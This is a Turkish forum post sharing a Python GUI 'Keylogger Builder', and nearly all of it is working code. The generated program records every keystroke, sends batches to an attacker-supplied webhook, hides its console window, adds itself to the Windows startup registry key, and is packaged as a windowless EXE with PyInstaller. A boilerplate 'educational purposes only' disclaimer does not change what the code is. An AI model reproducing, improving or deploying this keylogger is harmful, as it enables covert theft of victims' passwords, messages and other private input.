CodeWare
Efsane Üye
- Katılım
- 7 Şub 2025
- Mesajlar
- 2,028
- Beğeniler
- 312
Bir Konuda arkadaş paylaşmıştı keyloggeri daha basit daha kolay kullansınlar diye builder ekledim
Not:Bu Program Eğitim Amaçlı Paylaşılmıştır kötüye kullanımı yasak dır ve etik değildir Sorumluluk Kabul Etmiyorum
Not:Bu Program Eğitim Amaçlı Paylaşılmıştır kötüye kullanımı yasak dır ve etik değildir Sorumluluk Kabul Etmiyorum
Python:
import tkinter as tk
from tkinter import messagebox
import subprocess
TEMPLATE = r"""
import pynput.keyboard
import threading
import requests
import os
import sys
WEBHOOK_URL = "{WEBHOOK}"
l0g = ""
def send_webhook(message):
try:
data = {{
"content": f"```{{message}}```"
}}
requests.post(WEBHOOK_URL, data=data)
except:
pass
def on_press(key):
global l0g
try:
l0g += key.char
except AttributeError:
if key == key.space:
l0g += " "
else:
l0g += f"[{{key.name}}]"
if len(l0g) >= 30:
send_webhook(l0g)
l0g = ""
def report():
global l0g
if l0g:
send_webhook(l0g)
l0g = ""
timer = threading.Timer(60, report)
timer.start()
def add_to_startup():
if sys.platform == "win32":
import shutil
import winreg as reg
exe_path = sys.executable
key = r"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(reg_key, "MyKeylogger", 0, reg.REG_SZ, exe_path)
reg.CloseKey(reg_key)
def hide():
if sys.platform == "win32":
import ctypes
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
send_webhook("✅ Sistem çalıştı!")
hide()
add_to_startup()
keyboard_listener = pynput.keyboard.Listener(on_press=on_press)
keyboard_listener.start()
report()
keyboard_listener.join()
"""
def build_keylogger(webhook_url):
with open("keylogger.py", "w") as f:
f.write(TEMPLATE.replace("{WEBHOOK}", webhook_url.strip()))
try:
subprocess.run(["pyinstaller", "--onefile", "--noconsole", "keylogger.py"], check=True)
messagebox.showinfo("Başarılı", "✅ EXE başarıyla oluşturuldu.")
except:
messagebox.showerror("Hata", "❌ EXE oluşturulamadı. PyInstaller yüklü mü?")
def test_webhook(webhook_url):
try:
data = {
"content": "🧪 Webhook testi başarılı!"
}
requests.post(webhook_url, data=data)
messagebox.showinfo("Başarılı", "Webhook çalışıyor.")
except:
messagebox.showerror("Hata", "Webhook'a mesaj gönderilemedi.")
def gui():
root = tk.Tk()
root.title("Keylogger Builder")
root.geometry("400x200")
tk.Label(root, text="Webhook URL:").pack(pady=10)
webhook_entry = tk.Entry(root, width=50)
webhook_entry.pack()
def test_btn():
test_webhook(webhook_entry.get())
def build_btn():
build_keylogger(webhook_entry.get())
tk.Button(root, text="Webhook Test Et", command=test_btn).pack(pady=5)
tk.Button(root, text="EXE Olarak Build Et", command=build_btn).pack(pady=5)
root.mainloop()
gui()